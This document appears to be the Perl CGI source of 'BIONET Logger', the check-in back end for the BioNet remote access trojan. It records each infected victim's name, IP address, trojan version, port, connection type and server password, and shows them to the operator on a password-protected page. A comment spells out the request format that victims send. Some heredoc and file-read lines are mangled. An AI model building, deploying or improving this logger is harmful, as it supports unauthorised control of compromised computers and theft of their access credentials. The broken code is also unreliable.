#! /usr/bin/perl
# ^ path to perl on your server (should be correct)
# If your wrong, you will get errors.
############################################
#
# BIONET Logger
# Verion : 1.2a
# Author : Rezmond.
#
# Homepage : www.projectbionet.com , www.bionet.mirrorz.com
#
# Email : rezmond@projectbionet.com
#
############################################
# Log Settings (required)
#############################################
$checksum = "bnsipn"; # used as as flood protection see help file
$script = "http://localhost/cgi-bin/blog.pl" ; # location of this script file
############################################
#
# Optional Log Settings
# make sure the blowe files exist and set
# to the correct CHMOD on your server
$logfile = "bnllog"; # file to store log
$password = "password"; # password to access the logger
############################################
#
# Extended settings (not described in tutorial)
$POST_LIMIT = 20; # limits how many items to store in the log -1 for unlimited
$displaypass = "1"; # set "1" to display server passwords
# set "0" to hide them
############################################
#
# Do not edit from here on unless
# you know what you are doing and want to modify
# the CGI script.
#
############################################
$FLOW_LIMIT = 5; #
$reqLogMsg = "1";
$reqGetlog = "2";
$reqLogClear = "3";
# syntax
# request=1 nick= ip= ver= pass= port= id=bnsipn
# request=2 (returns logdata) #not yet supported
# request=3 clears the log
# send nick=%victim_name&ip=%ip&ver=%version&pass=
# %pass&port=%port&ctype=%ctype &request=1 &id=bnsipn
%params = &getcgivars;
$user = $params{"nick"};
$ip = $params{"ip"};
$version = $params{"ver"};
$pass = $params{"pass"};
$port = $params{"port"};
$connection = $params{"ctype"};
$id = $params{"id"};
$request = $params{"request"};
$cgipass = $params{"logonpass"};
#for testing perposes
#$user = "nick";
#$ip = "127.0.0.1";
#$version = "3.16.me";
#$pass = "passwerd";
#$port = "12349";
#$request = "1";
#$id = "bsipn";
# Handles LOG DATA Request
############################################
if ($request eq $reqLogMsg) #request add message to the log
{
# check unique ID
if ($id ne $checksum)
{
&HTMLdie("Flood protection Error: ");
}
use Fcntl qw(:DEFAULT :flock);
sysopen(FHANDLE, $logfile, O_RDWR | O_APPEND | O_CREAT ) or die( "can't open filename: $!");
flock(FHANDLE, LOCK_EX);
if ($user eq "") { $user = "<n/a>" ; }
if ($connection eq "") { $connection = "<n/a>" ; }
if ($ip eq "") { $ip = "<n/a>" ; }
if ($version eq "") { $version = "<n/a>" ; }
if ($pass eq "") {$pass = "<n/a>" ; }
print FHANDLE "
";
print FHANDLE "" . $user . " | ";
print FHANDLE "" . $ip . " | ";
print FHANDLE "" . $version . " | ";
print FHANDLE "" . $port . " | ";
print FHANDLE "" . $connection . " | ";
if ($displaypass eq "1")
{
print FHANDLE "" . $pass . " | ";
}
# ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday) = gmtime(time);
$now_string = gmtime;
print FHANDLE "" . $now_string . " | ";
print FHANDLE "
\n";
# $user$pass
# " . . "&" . . "&" . . "&" . . "&" . . chr(13) . chr(10);
close(FHANDLE); # Close the file
&SizeLog(); #if we have too many messages truncate the log
&HTMLdie("Message Recorded: " , "BioNet Notificaion");
exit; #quit
}
# HANDLES Display Log request
############################################
if ($request eq $reqGetlog) #request get the current message log data
{
# http://rezmond/logger/blog.pl?nick=gayserver&ip=126.0.3.3&ver=3.16me&pass=passwerd&port=12349&ctype=modem&id=bnsipn&request=2
&TestLogonPass();
&DisplayLog();
}
# clears the log file
############################################
#this basically truncates the log file
if ($request eq $reqLogClear) #request clear log
{
&TestLogonPass();
use Fcntl qw(:DEFAULT :flock);
sysopen(FHANDLE, $logfile, O_RDWR | O_CREAT) or die "can't open filename: $!";
# sysopen(FHANDLE, "$logfile", O_RDWR | O_CREAT) or die "can't open filename: $!";
flock(FHANDLE, LOCK_EX);
truncate(FHANDLE, 0) or die "Error can't truncate : $logfile!";
close(FHANDLE);
&DisplayLog();
# &HTMLdie("Logfile Cleared MainPage " , "" );
exit; #quit
}
############################################
&TestLogonPass();
&DisplayLog();
&HTMLdie("Unsupported Request: ");
exit;
############################################
sub SizeLog
{
if ($POST_LIMIT eq -1) {return; } #disabled
use Fcntl qw(:DEFAULT :flock);
#sysopen(FHANDLE, "$logfile", O_RDWR ) or die( "can't open filename: $!");
sysopen(FHANDLE, $logfile, O_RDWR ) or die( "can't open filename: $!");
flock(FHANDLE, LOCK_EX);
@linedata = ;
$numlines = @linedata;
# &HTMLdie($linedata , "arse");
# ($numlines - $POST_LIMIT)
if ($numlines > ($POST_LIMIT + $FLOW_LIMIT) )
{
truncate(FHANDLE, 0) or die "Error can't truncate : $logfile!";
close(FHANDLE);
#sysopen(FHANDLE, "$logfile", O_RDWR ) or die( "can't open filename: $!");
sysopen(FHANDLE, $logfile, O_RDWR ) or die( "can't open filename: $!");
flock(FHANDLE, LOCK_EX);
for ($nm = ($numlines - $POST_LIMIT) ; $nm < $numlines ; $nm ++)
{
print FHANDLE $linedata[$nm];
}
}
close(FHANDLE);
return;
}
############################################
sub TestLogonPass
{
if ($password ne $cgipass)
{
&getPass();
exit;
}
return;
}
############################################
sub DisplayLog{
# ?logonpass=$logonpass
#sysopen(FHANDLE, "$logfile", O_RDWR) or die( "can't open filename: $!");
sysopen(FHANDLE, $logfile, O_RDWR) or die( "can't open filename: $!");
@lines = ; # Read it into an array
print "Content-type: text/html\n\n " ;
print <
BioNet logger
|
Bionet Logger
|
Currrent Log |
Name
|
IP |
Version |
Port |
Connection |
EOF
if ($displaypass eq "1")
{
print "Password | ";
}
print <
Logged
EOF
$outpt = "";
foreach $lin (@lines)
{
# print $lin . "\n";
$outpt = $lin . $outpt; # build list so that new enetries diplay first
}
print $outpt;
print <
|
|